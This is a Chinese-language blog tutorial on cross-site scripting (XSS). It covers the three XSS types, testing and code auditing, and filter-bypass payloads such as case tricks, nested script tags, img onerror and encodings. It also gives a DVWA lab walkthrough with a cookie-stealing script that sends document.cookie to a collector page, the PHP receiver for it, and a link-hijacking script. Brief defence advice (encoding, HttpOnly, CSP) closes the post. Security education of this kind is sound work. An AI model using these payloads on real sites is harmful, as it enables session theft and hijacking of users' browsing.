当前位置:网站首页 > 技术博客 > 正文

xss跨站脚本漏洞解决方案



跨站脚本攻击XSS(Cross Site Scripting),恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击!

XSS分为:存储型 、反射型 、DOM型XSS

反射型xss:非持久化,需要欺骗用户自己去点击链接才能触发xss代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型xss大多数是用来盗取用户的Cookie信息。
存储型xss:存储型xss,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将存储在服务器中,用户访问该页面的时候触发代码执行。这中xss比较危险,容易造成蠕虫,盗取cookie。
DOM型xss:不经过后端,DOM-XSS漏洞是基于文档对象模型(DOM)的一中漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型xss。

可能触发DOM型xss的属性:1、document.referer 2、window.name 3、location 4、innerHTML5、document.write
DOMxss和反射型xss的区别主要是输出地点不同。
Dom型xss是从JavaScript中输出数据到HTML页面里,其他几种xss是从服务器应用直接输出到HTML页面上的。
如图我们在URL中传入参数的值,然后客户端页面通过js脚本利用DOM的方法获得URL中参数的值,再通过DOM方法赋值给选择列表,该过程没有经过后端,完全是在前端完成的。所以,我们就可以在我们输入的参数上做手脚了。

以下所有标签的 > 都可以用 // 代替, 例如 <script>alert(1)</script//

<script>标签:<script>标签是最直接的XSS有效载荷,脚本标记可以引用外部的JavaScript代码,也可以将代码插入脚本标记中

svg标签

<img>标签

<body>标签

video标签

style标签

手动检测XSS
使用手工检测Web应用程序是否存在XSS漏洞时,最重要的是考虑哪里有输入、输入的数据在什么地方输出。
使用手动检测XSS时,一定要选择有特殊意义的字符,这样可以快速测试是否存在XSS。
1、可得知输入位置
输入一些敏感字符,例如"<、>、"、0"等,在提交请求后查看HTML源代码,看这些输入的字符是否被转义。在输出这些敏感字符时,很有可能程序已经做了过滤,这样在寻找这些字符时就不太容易,这时可以输入”AAAAA>“&”字符串,然后在查找源代码的时候直接查找AAAAA比较方便。
2、无法得知输出位置
非常多的Web应用程序源代码是不对外公开的,这时在测试XSS时就有可能无法得知输入数据到底在何处显示,比如,测试某留言本是否存在XSS,那么留言之后,可能需要经过管理员的审核才能显示,这时无法得知输入的数据在后台管理页面处于何种状态,例如:
在<div>标签中:<div>XSS Test</div>
全自动检测
APPSCAN、AWVS、Burp Suite等软件,都可以有效地检测XSS跨站漏洞,但这类大型漏扫工具除检测XSS外,还会检测SQL注射、文件包含、应用程序错误等漏洞。
在检测的时候一定要工具与手工并进,才能更好地检测XSS。比如,在扫描XSS时,很多扫描器一般都无法检测非常规的XSS漏洞,为什么?例如,在提交留言时可能需要短信验证、验证码填写等,工具是无法做到的。

黑盒测试

尽可能找到一切用户可控并且能够输出在页面代码中的地方,比如下面这些:

常见业务场景

白盒测试(代码审计)

关于XSS的代码审计主要就是从接收参数的地方和一些关键词入手。

PHP中常见的接收参数的方式有、、等等,可以搜索所有接收参数的地方。然后对接收到的数据进行跟踪,看看有没有输出到页面中,然后看输出到页面中的数据是否进行了过滤和html编码等处理。

也可以搜索类似这样的输出语句,跟踪输出的变量是从哪里来的,我们是否能控制,如果从数据库中取的,是否能控制存到数据库中的数据,存到数据库之前有没有进行过滤等等。

大多数程序会对接收参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数看有没有过滤,能否绕过等等。

同理审计DOM型注入可以搜索一些js操作DOM元素的关键词进行审计。

反射型XSS漏洞:

存储型XSS漏洞:

反射型xss的数据流向:前端-->后端-->前端
存储型xss的数据流向:前端-->后端-->数据库-->后端-->前端
DOM型xss的数据流向:前端-->浏览器

当空格被过滤了时,我们可以用  来代替空格:

如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号:

当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。

利用eval()函数

与PHP的eval()函数相同,JavaScript的eval()函数也可以计算 JavaScript 字符串,并把它作为脚本代码来执行。

利用top

源代码

绕过技巧:可以使用大小写绕过 <scripT>alert('hack')</scripT>

绕过技巧:可以使用嵌套的script标签绕过   <scr<script>ipt>alert('hack')</scr</script>ipt>

虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等标签的事件或者 iframe 等标签的 src 注入恶意的 js 代码。

payload:  <img src=https://www.cnblogs.com/pursue-security/p/1 onerror=alert('hack')>

这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。当浏览器装载了这样的URL时,并不会转向某个URL,而是执行这个URL中包含的javascript代码,并把最后一条javascript语句的字符串值作为新文档的内容显示出来。

a 标签
iframe 标签
img 标签
form 标签

Javascript 中可以识别的编码类型有:

  • Unicode 编码
  • 八进制编码
  • 十六进制编码

一般情况下我们使用Unicode编码的比较广泛,而八进制和十六进制只有在DOM环境或eval()等函数中才可以用。

Unicode编码绕过

url编码绕过

Ascii码绕过

hex绕过

八进制

htmlspecialchars函数默认,仅编码双引号。

当我们输入参数的请求类型的get类型的,即我们输入的参数是以URL参数的形式。该链接的为:http://127.0.0.1/vulnerabilities/xss_r/?name=<script>alert(/xss/)</script>

我们构造了如下代码,将其保存为html页面,然后放到我们自己的服务器上,做成一个链接。当用户登录了存在漏洞的网站,并且用户点击了我们构造的恶意链接时,该链接页面会偷偷打开iframe框架,iframe会访问其中的链接,然后执行我们的js代码。该js代码会把存在漏洞网站的cookie发送到我们的平台上,但是用户却浑然不知,他会发现打开的是一个404的页面!

我们现在知道一个网站的用户名输入框存在反射型的XSS漏洞

我们抓包查看

我们构造了如下代码,将其保存为html页面,然后放到我们自己的服务器上,做成一个链接。当用户登录了存在漏洞的网站,并且用户点击了我们构造的恶意链接时,该恶意链接的页面加载完后会执行js代码,完成表单的提交,表单的用户名参数是我们的恶意js代码。提交完该表单后,该js代码会把存在漏洞网站的cookie发送到我们的平台上,但是用户却浑然不知,他会发现打开的是一个404的页面。

我们这里写了一个404页面,404页面中隐藏了一个form提交的表单,为了防止提交表单后跳转,我们在表单下加了一个iframe框架,并且iframe框架的name等于form表单的target,并且我们设置iframe框架为不可见。

当用户点击了我们构造的恶意链接,发现打开的是一个404页面。实际上这个页面偷偷的进行了表单的提交。

cookie是在http协议下,服务器或脚本可以维护客户工作站上信息的一种方式。cookie是由web服务器保存在用户浏览器(客户端)上的小文本文件,它可以包含有关用户的信息。
目前有些cookie是临时的,有些是持续的。临时的cookie只在浏览器上保存一段规定的时间,一旦超过规定的时间,该cookie就会被系统清除。
盗取cookie的脚本代码是:<script>document.location='http://127.0.0.1/xss_test/cookie.php?cookie='+document.cookie</script>#
cookie.php代码:
<?php
$cookie=$_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>
第一步,先在www文件夹下创建xss_test文件夹,在xss_test文件夹下放cookie.php文件和cookie.txt文件。
第二步,在dvwa中的xss漏洞页面,上传盗取cookie的脚本。
第三步,访问目标站点,使用bp拦截,修改cookie的值就能不用密码登录到网站。

window.onload当窗口加载时,执行匿名函数。
第一步,在dvwa中上传该Script代码
<script>
window.onload=function(){
var link=document.getElementsByTagName("a");
for(j=0;j<link.length;j++){
link[j].href="https://www.bilibili.com/video/BV19E41127R7?p=70";}
}
</script>这Script代码会修改该网页的所有a链接的链接地址。
利用该xss漏洞修改该网页的所有链接,可以用来刷某篇微博的流量。
Beef进行恶意链接生成,以及利用hook.js执行其他命令。

XSS防御的总体思路是:对用户的输入(和URL参数)进行过滤,对输出进行html编码。也就是对用户提交的所有内容进行过滤,对url中的参数进行过滤,过滤掉会导致脚本执行的相关内容;然后对动态输出到页面的内容进行html编码,使脚本无法在浏览器中执行。

对输出进行html编码,就是通过函数,将用户的输入的数据进行html编码,使其不能作为脚本运行。

我们还可以服务端设置会话Cookie的HTTP Only属性,这样,客户端的JS脚本就不能获取Cookie信息了

设置CSP(CSP传送门)

版权声明


相关文章:

  • 虚位移原理正负号确定2024-12-30 22:29:59
  • mysql数据库的设计与实现2024-12-30 22:29:59
  • 召回率百科2024-12-30 22:29:59
  • i2c通信的详细讲解2024-12-30 22:29:59
  • 服务器硬件包含了哪些东西?2024-12-30 22:29:59
  • 双硬盘系统装在哪个盘2024-12-30 22:29:59
  • 批处理文件命令大全2024-12-30 22:29:59
  • java项目实例讲解2024-12-30 22:29:59
  • jupyter怎么安装tensorflow2024-12-30 22:29:59
  • 程序员接私活收费标准2024-12-30 22:29:59